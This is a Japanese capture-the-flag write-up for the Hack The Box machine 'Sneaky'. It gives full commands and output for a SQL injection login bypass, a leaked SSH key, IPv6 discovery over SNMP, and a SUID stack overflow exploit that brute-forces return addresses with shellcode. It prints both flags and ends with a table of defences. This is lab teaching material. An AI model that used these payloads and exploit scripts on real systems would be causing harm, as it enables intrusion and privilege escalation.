Hack The BoxのWriteup(Sneaky)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sneaky — 全実行コマンド・実行結果レポート
Nmap スキャン
80/tcp Apache、161/udp SNMP、22/tcp closed
/dev/ ログインSQLi
‘ or 1=1;–
SSH秘密鍵 + ユーザー名漏洩
thrasivoulos
SNMP ipAddressPrefixTable
dead:beef::/64 + MAC→EUI-64
SSH(IPv6) user.txt ✓
chal SUID BOF
gdbでoffset=362特定
リターンアドレス総当り
0x1000刻みでなく粗いステップ全探索
root.txt ✓

TCP/UDPポートスキャン

BASH
nmap -Pn -sV -p 22,80,443 --max-retries 2 --host-timeout 30s 10.129.228.93
nmap -Pn -sV -sU -p T:80,443,22,U:161 --max-retries 2 --host-timeout 40s 10.129.228.93
RESULT
PORT    STATE  SERVICE VERSION
22/tcp  closed ssh
80/tcp  open   http    Apache httpd 2.4.7 ((Ubuntu))
443/tcp closed https

161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: sneaky
🚨
重要発見: IPv4側のSSH(22)はclosed。しかしSNMPが コミュニティ名 public で応答しホスト名も”sneaky”と自己申告している。 SSHはIPv6側でのみ待ち受けている可能性が高く、そのアドレスをSNMP経由で 探る必要がある。
PHASE 2

/dev/ ログインフォームSQLiバイパス & SSH鍵漏洩

ログインフォームの確認

BASH
curl -s http://10.129.228.93/dev/
RESULT
<h1>Member's Area Only - Login Now!</h1>
<form method="post" action="./login.php">
    <input type="text" name="name">
    <input type="password" name="pass">
    <input type="submit" value="login">
</form>

SQLi (‘ or 1=1;–) でログインバイパス

BASH
curl -s -d "name=admin&pass=%27%20or%201%3D1%3B--" http://10.129.228.93/dev/login.php
RESULT
<h1>DevWebsite Login</h1>
<dl>name: admin</dl>
<dl>name: thrasivoulos</dl>
<center><a href="sshkeyforadministratordifficulttimes">My Key</a></center>
<center>Noone is ever gonna find this key :P</center>
バイパス成功。 パスワード欄への' or 1=1;--挿入だけで 全ユーザーのレコードが列挙され、admin以外のユーザー名 thrasivoulosと、SSH秘密鍵への直リンクが露出した。

SSH秘密鍵の取得

BASH
curl -s -o thrasivoulos_id_rsa http://10.129.228.93/dev/sshkeyforadministratordifficulttimes
chmod 600 thrasivoulos_id_rsa
RESULT
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5...
PHASE 3

SNMP経由のIPv6アドレス復元 & user.txt

定石のOID(ipAddressTable)は実装されていない

NOTE
よくある手法として IP-MIB::ipAddressTable (OID 1.3.6.1.2.1.4.34) を
numeric walkしIPv6アドレスを直接読み取る方法があるが、この機体の
net-snmpビルドではこのテーブルが実装されておらず walk しても
"No Such Object" が返るだけだった。
BASH
snmpwalk -v2c -c public -O n 10.129.228.93 1.3.6.1.2.1.4.34.1.1
RESULT
.1.3.6.1.2.1.4.34.1.1 = No Such Object available on this agent at this OID

ipAddressPrefixTable (OID 4.32) からプレフィックスを発見

BASH
snmpwalk -v2c -c public -O n -t 5 -r 2 10.129.228.93 1.3.6.1.2.1.4.32
RESULT
.1.3.6.1.2.1.4.32.1.6.2.2.16.222.173.190.239.0.0.0.0.0.0.0.0.0.0.0.0.64 = INTEGER: 1
.1.3.6.1.2.1.4.32.1.6.2.2.16.254.128.0.0.0.0.0.0.0.0.0.0.0.0.0.0.64 = INTEGER: 1  ← fe80::/64 (リンクローカル、除外)
.1.3.6.1.2.1.4.32.1.6.1.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.128 = INTEGER: 1     ← ::1/128 (ループバック、除外)
ℹ️
インデックス構造は ifIndex.addrType.addrLen.アドレス16バイト.prefixLength222.173.190.239 = 16進数で DE.AD.BE.EF = “dead beef” という HTB定番のジョーク値で、残りは全て0埋め。つまりこのテーブルは プレフィックスのみ(dead:beef::/64)を返し、ホスト部(下位64bit)は 含まれていない。ifIndex=2(ループバック以外の実インターフェース)、 prefixLength=64であることも判明。

MACアドレスからSLAAC EUI-64でホスト部を導出

BASH
snmpwalk -v2c -c public -O n 10.129.228.93 1.3.6.1.2.1.2.2.1.6.2
RESULT
.1.3.6.1.2.1.2.2.1.6.2 = Hex-STRING: A2 DE AD C1 6E CC
PYTHON (EUI-64計算)
mac = bytes.fromhex("a2deadc16ecc")
# 先頭3バイト + FF FE + 後半3バイト、先頭バイトのU/Lビット(0x02)を反転
b0 = mac[0] ^ 0x02
eui64 = bytes([b0, mac[1], mac[2], 0xff, 0xfe, mac[3], mac[4], mac[5]])
iid = ':'.join(eui64[i:i+2].hex() for i in range(0, 8, 2))
print(f"dead:beef::{iid}")
# → dead:beef::a0de:adff:fec1:6ecc
IPv6アドレス復元成功: dead:beef::a0de:adff:fec1:6ecc

SSH(IPv6)接続 & user.txt取得

BASH
ping6 -c 3 dead:beef::a0de:adff:fec1:6ecc   # 疎通確認

ssh -6 -i thrasivoulos_id_rsa -o StrictHostKeyChecking=no \
  -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \
  thrasivoulos@dead:beef::a0de:adff:fec1:6ecc "id; cat /home/*/user.txt"
RESULT
uid=1000(thrasivoulos) gid=1000(thrasivoulos) groups=1000(thrasivoulos),4(adm),24(cdrom),27(sudo),...
5f2e481e247917bd9c1b35df9b9d98c7
⚠️
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa は必須。古いOpenSSHサーバーの鍵はデフォルトで拒否される新しいクライアント (OpenSSH 8.8+)向けの対策。sudoグループに所属しているが sudo -lはパスワードを要求されたため通常のsudoパスワード奪取経路は 今回は使わず、既知のSUIDバイナリの方を攻める。
user.txt — thrasivoulos
5f2e481e247917bd9c1b35df9b9d98c7
PHASE 4

SUID chal の解析 — gdbでオフセットを特定

SUIDバイナリの発見とASLR状態確認

BASH
ls -la /usr/local/bin/chal
cat /proc/sys/kernel/randomize_va_space
RESULT
-rwsrwsr-x 1 root root 7301 May  4  2017 /usr/local/bin/chal
32bit ELF, setuid, setgid, dynamically linked
randomize_va_space: 0  ← ASLR無効

gdb + サイクリックパターンで正確なEIPオフセットを特定

NOTE
argv[1] にそのまま渡すだけの単純な文字数当てずっぽうではなく、
一意なパターン(De Bruijn風の4文字ローテーション)を送りクラッシュ時の
EIP値からオフセットを機械的に逆算する。
BASH
cat > gdb_cmds.txt << 'EOF'
set args $(python2 gen_cyclic.py 400)
run
print/x $eip
quit
EOF
gdb -q -x gdb_cmds.txt /usr/local/bin/chal
RESULT
Program received signal SIGSEGV, Segmentation fault.
0x61616d64 in ?? ()
$1 = 0x61616d64   # little-endian → "dmaa"
PYTHON (パターン内の位置を逆算)
pattern = cyclic(400)              # 上と同じ生成方法
idx = pattern.find("dmaa")
print(idx)   # → 362
EIPオフセット = 362バイトと確定。ペイロード構造は NOPスレッド(334バイト) + execve("/bin/sh")シェルコード(28バイト) + リターンアドレス(4バイト) = 合計366バイト。

setarchによるASLR無効化はSUIDバイナリに効かない

NOTE
ASLR自体は既にシステム全体で無効(randomize_va_space=0)だが、
リターンアドレスを求めるためにgdb上で観測したスタックアドレスを
そのまま実際の(gdbを使わない)実行に流用すると失敗した。念のため
setarch -R (ASLR明示的無効化) も試したが、Linuxカーネルがsetuid/setgid
バイナリへの personality(ADDR_NO_RANDOMIZE) 適用を拒否するため
効果がなく、gdb実行時と直接実行時とでスタックアドレスがずれる問題
(環境変数SSH_CONNECTION等の内容差によるものと推定)は解決しなかった。
PHASE 5

リターンアドレスの範囲総当り & root.txt

gdbのクラッシュ解析からおおよそのスタックアドレスを逆算

NOTE
gdbで 'A'*32 を使った単純上書きテストの esp 値 (crash時) から
リターンアドレススロットの位置を逆算し、そこからNOPスレッド先頭の
おおよそのアドレスを見積もった (0xbffff982 付近)。ただしこれは
gdb実行時の環境に基づく推定値であり、実際の(gdbを介さない)SSH経由
実行では環境変数の違いにより数百バイト単位でずれることが分かった
(この推定値をそのまま使うと確実にセグフォルトした)。

推定値を中心に範囲総当りするスクリプト

PYTHON (ターゲット上で実行)
import subprocess, struct, os

shellcode = bytes.fromhex(
    "31c05068"
    "2f2f7368" "682f62696e" "89e389c189c2b00bcd80"
    "31c040cd80"
)
offset = 362
nop_len = offset - len(shellcode)
flag_file = "/tmp/.chal_root"
cmd = b"cat /root/root.txt > /tmp/.chal_root; chmod 644 /tmp/.chal_root\n"

center = 0xbffff982    # gdbから逆算したおおよその値
for delta in range(-0x8000, 0x8000, 150):   # 粗いステップで確定的に全探索
    if os.path.exists(flag_file):
        break
    ret = center + delta
    payload = b"\x90" * nop_len + shellcode + struct.pack("<I", ret)
    try:
        p = subprocess.Popen(["/usr/local/bin/chal", payload],
                              stdin=subprocess.PIPE, stdout=subprocess.DEVNULL,
                              stderr=subprocess.DEVNULL)
        p.communicate(input=cmd, timeout=1)
    except Exception:
        try: p.kill()
        except Exception: pass
ℹ️
NOPスレッドが334バイトあるため、リターンアドレスがNOP領域の どこかに着地しさえすれば実行がスライドしてシェルコードに到達する。 150バイト刻みなら取りこぼしなく±0x8000(約32KB)の範囲を 確定的に全探索できる。root権限で spawn される system("/bin/sh") の対話出力をそのまま読み戻す手段が無いため、標準入力に cat /root/root.txt > ...コマンドをパイプしてファイル化し、 別途読み出す。

実行 & root.txt取得

BASH
ssh -6 -i thrasivoulos_id_rsa ... thrasivoulos@dead:beef::a0de:adff:fec1:6ecc \
  "rm -f /tmp/.chal_root; python3 bf_ret.py; cat /tmp/.chal_root"
RESULT
tried: 225
10328dd499bfc2a58460c6856a8aadba
成功! 有効なリターンアドレスは 0xbffffcc2 と判明 (gdbからの推定値と実際の差は約0x340バイト)。225回目の試行で system("/bin/sh")がrootで実行され、パイプで渡しておいた コマンドがファイルに書き出された。
root.txt — Administrator@sneaky
10328dd499bfc2a58460c6856a8aadba
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — thrasivoulos
5f2e481e247917bd9c1b35df9b9d98c7
root.txt — root@sneaky
10328dd499bfc2a58460c6856a8aadba

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SQLiログインバイパス /dev/login.php 認証バイパス+情報漏洩 Critical パスワード欄への' or 1=1;--で全ユーザー列挙、SSH秘密鍵リンクが直接露出
SNMP publicコミュニティでの内部情報漏洩 net-snmp (161/udp) 隠しIPv6アドレスの復元 Medium ipAddressPrefixTableでプレフィックス+ifPhysAddressのMACからSLAAC EUI-64合成
SUID chal スタックBOF (ret2shellcode) /usr/local/bin/chal (root SUID) 権限昇格 (root) Critical gdbでEIPオフセット(362)特定、ASLR無効環境でのリターンアドレス範囲総当りでNOPスレッド経由シェルコード実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap TCP/UDPスキャン80/tcp、161/udp(SNMP public)、22/tcp closed
2SQLiログインフォームバイパスユーザー名thrasivoulos + SSH秘密鍵
3SNMP調査ipAddressPrefixTable + MAC→EUI-64user.txt取得(IPv6 SSH経由)
4BOF解析gdb + サイクリックパターンEIPオフセット=362確定
5権限昇格リターンアドレス範囲総当りroot.txt取得

学んだ教訓 & 防御策

問題点防御策
ログインフォームがSQLインジェクションに脆弱(パラメータのサニタイズなし) プリペアドステートメント(パラメータ化クエリ)を必ず使用する。エラーメッセージに内部情報(ユーザー名一覧等)を出力しない。
公開Webディレクトリに秘密鍵ファイルを平文で配置 秘密鍵をWebルート配下に置かない。最低限アクセス制御・認証を要求する。
SNMPが認証情報なしの既定コミュニティ名"public"で内部ネットワーク情報(IPv6アドレス構成含む)を公開 SNMPv3への移行、コミュニティ名の変更、アクセス元IPの制限(ACL)を行う。隠しIPv6アドレスによる"security through obscurity"に頼らない。
SUIDバイナリに古典的なスタックバッファオーバーフローが存在し、ASLR・スタックカナリア・NX等の緩和策が無効化されている 境界チェック付き関数の使用、コンパイル時の保護機構(スタックカナリア、ASLR、NX、RELRO Full)を全て有効化する。SUIDビットは真に必要な場合のみ付与する。
HackTheBox: Sneaky | 完全攻略レポート